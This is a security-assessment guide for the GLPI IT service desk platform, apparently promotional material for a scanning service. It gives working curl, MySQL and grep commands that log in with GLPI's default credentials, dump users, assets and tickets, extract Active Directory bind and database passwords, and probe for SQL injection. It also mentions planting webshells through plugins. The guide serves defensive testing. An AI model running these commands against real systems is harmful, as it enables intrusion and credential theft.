GLPI (Gestionnaire Libre de Parc Informatique) is the most widely deployed open-source IT asset management and service desk platform, with over 300,000 installations worldwide spanning enterprises, educational institutions, and government organizations. As an ITSM platform, GLPI holds significant security-relevant data: the complete hardware and software asset inventory, all helpdesk tickets including incident details, user contact information, and LDAP configuration with Active Directory bind credentials. Critical assessment points: GLPI ships with four default accounts (glpi/glpi, tech/tech, normal/normal, post-only/postonly); historical GLPI versions have documented SQL injection vulnerabilities in search parameters; the REST API provides complete asset and ticket access; LDAP bind credentials are stored in the config_ldap database table; and GLPI's extensive plugin ecosystem introduces additional attack surface. This guide covers systematic GLPI security assessment.
# GLPI — default credentials (4 accounts shipped by default)
GLPI_URL="https://glpi.example.com"
# Default account matrix:
# glpi / glpi — Superadmin (full administrative access)
# tech / tech — Technician (most assets + tickets)
# normal / normal — Normal user (limited access)
# post-only / postonly — Helpdesk user (submit tickets only)
# Test glpi/glpi superadmin via REST API
API_SESSION=$(curl -s "${GLPI_URL}/apirest.php/initSession" \
-H "Content-Type: application/json" \
--user "glpi:glpi" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('session_token',''))
" 2>/dev/null)
if [ -n "${API_SESSION}" ]; then
echo "DEFAULT CREDENTIALS VALID: glpi/glpi"
echo "Session token: ${API_SESSION:0:30}..."
fi
# Alternatively generate API token for persistent access
# GLPI > My Account > API Tokens
curl -s "${GLPI_URL}/apirest.php/User" \
-H "Session-Token: ${API_SESSION}" \
-H "App-Token: your-app-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Users: {len(d)}')
for u in d[:10]:
print(f' [{u.get(\"id\")}] {u.get(\"name\")} email={u.get(\"email\")} profiles_id={u.get(\"profiles_id\")}')
" 2>/dev/null
# GLPI REST API — complete IT asset and ticket enumeration
GLPI_URL="https://glpi.example.com"
SESSION_TOKEN="your-glpi-session-token"
APP_TOKEN="your-app-token"
# Enumerate all computers — complete workstation/server inventory
curl -s "${GLPI_URL}/apirest.php/Computer?range=0-200&expand_dropdowns=true" \
-H "Session-Token: ${SESSION_TOKEN}" \
-H "App-Token: ${APP_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
assets=json.load(sys.stdin)
print(f'Computers: {len(assets)}')
for a in assets[:20]:
print(f' [{a.get(\"id\")}] {a.get(\"name\")} user={a.get(\"users_id_tech\")} os={a.get(\"operatingsystems_id\")} location={a.get(\"locations_id\")}')
print(f' Serial: {a.get(\"serial\")} manufacturer={a.get(\"manufacturers_id\")} model={a.get(\"computermodels_id\")}')
" 2>/dev/null
# Enumerate all tickets — incident intelligence
curl -s "${GLPI_URL}/apirest.php/Ticket?range=0-100&expand_dropdowns=true" \
-H "Session-Token: ${SESSION_TOKEN}" \
-H "App-Token: ${APP_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
tickets=json.load(sys.stdin)
print(f'Tickets: {len(tickets)}')
for t in tickets[:10]:
print(f' [{t.get(\"id\")}] {t.get(\"name\")} status={t.get(\"status\")} priority={t.get(\"priority\")}')
print(f' Content: {t.get(\"content\",\"\")[:100]}')
" 2>/dev/null
# Enumerate all network devices
curl -s "${GLPI_URL}/apirest.php/NetworkEquipment?range=0-100&expand_dropdowns=true" \
-H "Session-Token: ${SESSION_TOKEN}" \
-H "App-Token: ${APP_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
nets=json.load(sys.stdin)
print(f'Network equipment: {len(nets)}')
for n in nets:
print(f' {n.get(\"name\")} ip={n.get(\"ip\")} type={n.get(\"networkequipmenttypes_id\")}')
" 2>/dev/null
# GLPI LDAP credential extraction and SQL injection testing
GLPI_URL="https://glpi.example.com"
# LDAP bind credentials stored in MySQL config_ldap table
mysql -u glpi -p"DB_PASSWORD" glpi 2>/dev/null << 'EOF'
SELECT name, host, rootdn, rootdn_passwd, login_field, sync_field
FROM glpi_authldaps
WHERE is_active = 1;
EOF
# rootdn_passwd is the Active Directory bind password
# Often a service account with broad AD read access
# config.php — MySQL database credentials
grep -E "password|dbname|dbhost|dbuser" /var/www/html/glpi/config/config_db.php 2>/dev/null
# Contains: DB_PASSWORD for full GLPI database access
# SQL injection testing — GLPI search parameters (CVE-2022-35914 and related)
# GLPI's search functionality has had historical SQL injection vulnerabilities
# Test search parameter injection in itemtype search
curl -s "${GLPI_URL}/ajax/common.tabs.php?itemtype=Computer&id=1&forcetab=1" \
-H "Cookie: PHPSESSID=valid-session-id" \
--data "criteria[0][field]=1&criteria[0][searchtype]=contains&criteria[0][value]=test'" \
2>/dev/null | grep -i "sql\|error\|warning" | head -5
# File upload via plugin installation (requires admin access)
# GLPI admin can install plugins, which can include PHP webshells
# /glpi/plugins/ directory is web-accessible
ls /var/www/html/glpi/plugins/ 2>/dev/null
GET /glpi/?itemtype=Computer and inject single quotes in search parameters to check for database error disclosure; enable GLPI's built-in update checker and apply security patches promptly; audit all installed plugins against their known CVEs| Security Test | Method | Risk |
|---|---|---|
| Default glpi/glpi superadmin credentials | POST /apirest.php/initSession with glpi:glpi basic auth — if valid, returns session token with full superadmin access to all assets, tickets, LDAP configuration, and plugin management | Critical |
| Active Directory bind password extraction | MySQL query: SELECT rootdn_passwd FROM glpi_authldaps — LDAP service account password used for AD authentication; typically has broad AD read access to all user and group objects in the directory | Critical |
| SQL injection in search parameters | Append single quote to search criteria values — GLPI has had multiple SQL injection CVEs; successful injection enables database enumeration, credential extraction, and potentially OS command execution via MySQL INTO OUTFILE on vulnerable configurations | Critical (on unpatched versions) |
| Complete IT asset inventory enumeration | GET /apirest.php/Computer — returns all workstations and servers with serial numbers, models, assigned users, and locations; combined with NetworkEquipment provides complete network device inventory for reconnaissance | High |
| Ticket content disclosure | GET /apirest.php/Ticket — returns all helpdesk tickets including content fields that often contain credentials, system details, and sensitive incident information shared by users and technicians | High |
Ironimo tests GLPI deployments for all four default account credential combinations, REST API session token access and asset enumeration, Active Directory bind password extraction from config_ldap, SQL injection in search parameters and report generation, config_db.php database credential exposure, plugin webshell deployment capability, ticket content sensitive data disclosure, and App-Token security configuration review.
Start free scan